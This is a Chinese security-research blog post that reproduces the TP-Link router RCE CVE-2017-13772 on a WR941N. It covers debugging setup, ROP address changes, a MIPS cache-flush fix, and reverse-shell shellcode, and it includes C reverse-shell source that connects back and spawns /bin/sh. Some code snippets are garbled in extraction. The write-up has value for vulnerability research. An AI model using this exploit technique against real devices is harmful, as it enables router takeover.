鲁达 作者：Hcamael@知道创宇404实验室
之前看到了一个CVE, CVE-2017-13772
是TP-Link WR940N后台的RCE, 手头上正好有一个TP-Link WR941N的设备，发现也存在相同的问题，但是CVE-2017-13772文章中给的EXP并不通用
所以准备进行复现和exp的修改，折腾了将近4天，记录下过程和遇到的坑
第一次研究mips指令的RCE，之前只学了intel指令集的pwn，所以进度挺慢的
Day 1
第一天当然是配环境了，该路由器本身在默认情况下是不提供shell的，在@fenix帮助下获取到了路由器的shell，该款路由器上的busybox的命令比较少，curl, nc, wget这些命令都没有，只能用tftp进行数据传输，而且只有/tmp目录可写，路由器重启后，传上去的文件就没了，这些问题都可以通过刷固件解决，不过太麻烦了，只需要传上去一个gdbserver就好了，能根据固件中的bin得知这是一个大端mips指令集的设备，gdbserver也不用自己编译，直接下编译好的:
把gdb通过tftp上传到路由器的/tmp目录下
然后根据cve-2017-13772分析文章说的那样使用gdbserver attach httpd最新的一个进程，然后就可以进行远程gdb调试了
Day 2
第二天准备开始调试，但是发现gdb的两个编译选项, 一个--host，表示gdb运行的环境，一般默认就是本机环境，还有一个--target表示调试的目标环境，默认也是本机环境，所以一个64位ubuntu上默认的gdb只能调试64 elf程序。所以需要设置--target=mipsbel-linux参数进行编译gdb，才能调试大端的mips程序。
编译差不多编译了半天，准备改天搞一个8核的机器专门来编译程序....
编译成功后，就可以进行远程调试了，在路由器上执行:
> /tmp/gdb attach 0.0.0.0:12345 pid然后使用编译好gdb进行调试：
$ gdb(gdb) target remote 192.168.1.1:12345但是失败了，又折腾了半天
Day 3
第三天才真正的开始调试程序，首先说说我第二天遇到的问题，问题是下了断点没用，原因比较傻逼，我下断点的地址是wr940n的地址，我把两个bin搞混了
然后根据cve-2017-13772分析文章中说的栈溢出的指令，在wr941n中也找到了该指令，而溢出情况也是一样，所以拿了wr940n的exp来打了一遍，结果当然是失败了。
在wr940n的exp中，ROP是在libuClibc-0.9.30.so中找的，根据$ cat /proc/pid/maps命令，发现wr941n路由器的基地址和文章中显示的wr940n路由器的是一样的，然后再比较libuClibc-0.9.30.so文件的hash值，发现不同，所以要修改ROP地址。
由于libc文件太大，用手找太累了，所以使用了那篇文章中的ida的mipsrop插件，这里又踩了一个坑，因为我用的是ida7.0，而这个插件只能在ida6.8(更低的没试过)版本使用。
修改了ROP后，再进行尝试exp，发现仍然失败，然后进行调试查看原因，跟踪ROP执行流，发现能成功跳转到栈上执行Shellcode，但是shellcode和文章中的，文章中的shellcode开头有一个使用xor进行解密的过程，执行完之后的指令和文章中的不一样。所以准备自己写一个shellcode
Day 4
第四天就是开始写shellcod，首先给个mips指令和bin互转的网站：Online Assembler and Disassembler
然后说说写的过程中遇到的问题，该路由器输入是不接受\x00和\x20，所以ROP不是在ELF中寻找而是去libc中寻找：libuClibc基地址：0x2aae000， httpd基地址：0x00400000
如果在ELF中寻找ROP，则地址中总会有个\x00，所以ROP是在libc中寻找不存在\x00和\x20的地址。但是在shellcode中，这两个字符却很难避免，所以那篇文章中对shellcode进行了xor加密
wr940n的exp使用的是一个bind shell的shellcode，而我改成了一个反弹shell的shellcode
然后就是最后遇到的一个大坑，使用gdb调试成功的一个反弹shell的shellcode，在实际测试中却失败了，使用gdb成功，直接打失败，因为这个问题折腾了挺长的时间
然后查阅资料，在看雪的一篇文章中找到了原因：
mips 的 exp 编写中还有一个问题就是 cache incoherency。MIPS CPUs 有两个独立的 cache：指令 cache 和数据 cache。指令和数据分别在两个不同的缓存中。当缓存满了，会触发 flush，将数据写回到主内存。攻击者的攻击 payload 通常会被应用当做数据来处理，存储在数据缓存中。当 payload 触发漏洞，劫持程序执行流程的时候，会去执行内存中的 shellcode。
如果数据缓存没有触发 flush 的话，shellcode 依然存储在缓存中，而没有写入主内存。这会导致程序执行了本该存储 shellcode 的地址处随机的代码，导致不可预知的后果。
最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如 sleep(1) 或者其他类似的函数。sleep 的过程中，处理器会切换上下文让给其他正在执行的程序，缓存会自动执行 flush。
这个坑点在那篇文章中也提及了，但是没具体说明，如果没实际踩一踩，不一定能理解。但是讲道理，如果直接用wr940n的exp，修改下ROP地址和shellcode，应该是不会遇到这个坑的，但是我仍然遇到了，经过研究发现，是usleep的问题，猜测是由于堵塞的时间过短所以未执行flush？然后进行实际测试了一番，把usleep的时间修改为18217，同样没用，然后简单看了下两者的汇编，发现usleep只是简单的调用nanosleep，而sleep除了调用nanosleep还进行其他相关的操作，网上没搜到相关文章，因为精力有限，作为遗留问题，以后有时间的时候再继续研究。
不过有几个猜测，
时间问题，usleep的单位是微秒，18217也只有10ms，是不是要睡到1s？因为找不到合适的ROP，所以暂时没法证明
flush内存是靠sleep中的几个信号相关的函数？
所以最终我的做法是在wr940n的exp的ROP链中，调用的是usleep(0xc*2+1)，但是我将usleep改成sleep => sleep(0xc*2+1)，数据缓存被成功flush到主内存中，就能成功执行shellcode了
Shellcode编写
在本次研究中，最后时间的除了一开始的调试环境搭建外，就是shellcode的编写了，因为在那篇cve分析的文章中已经给出了wr940n的exp，ROP只需要修改修改地址就好了，所以工作量最大的还是在Shellcode的编写这一部分
首先是syscall部分，比如：
li $v0, 4183 syscall 0x40404 # sys_socketmips采用的是RISC，32位系统下，指令固定采用4byte，syscall的字节码是
\x0c，剩余的三字节默认用\x00补全，但是因为路由器不接受\x00的输入，所以在大端的情况下改成\x01\x01\x01\x0c，进行反汇编，就是syscall 0x40404
系统调用的相关函数除了几个mips特有的，其他的都是跟linux下的syscall一样，可参考:
比如sys_socket：
所以$v0=4183表示的就是socket函数，具体参数信息可以去参考linux的系统调用:
现在，先用c来实现一遍反连shell的代码：
$ cat ;;#include <sy;#include <netine;#include <uni;int main(void){ int sockfd; sockfd = socket(2,2,0); struct sockaddr_in addr; addr.sin_family = 2; addr.sin_port = 0x3039; addr.sin_addr = 0xc0a80164; connect(sockfd, &addr, sizeof(addr)) dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); execve("//bin/sh", 0, 0); return 0;}这里有个关键点，
和其他架构不一样，mips架构中，tcp是2，udp是1
所以上面的代码比如在ubuntu中，是一个udp反连的代码，但是在mips中就是tcp反连
还有一点就是wr941n是大端，所以12345端口是0x3039而不是0x3930，ip地址同理
然后把上面代码转换成mips指令的汇编
但是有个问题，之前说了该路由器不接收\x00和\x20两个字符，而上面的汇编转换成字节码:
所以要把这句指令进行修改, 因为$a0和$a1的值都为2，所以可以这样修改：
把上面的汇编转成shellcode替换exp中的shellcode，实际测试，又发现一个问题，设备成功反连了控制端，但是却不能执行命令，到路由器上用ps查看，发现sh已经变为僵尸进程
经研究，问题出在execve("/bin/sh",0,0)，如果我修改成execve("/bin/sh", ["/bin/sh", 0], 0)则成功反弹shell，可以任意命令执行
参考链接
;arch=mips32&endianness=big#disassembly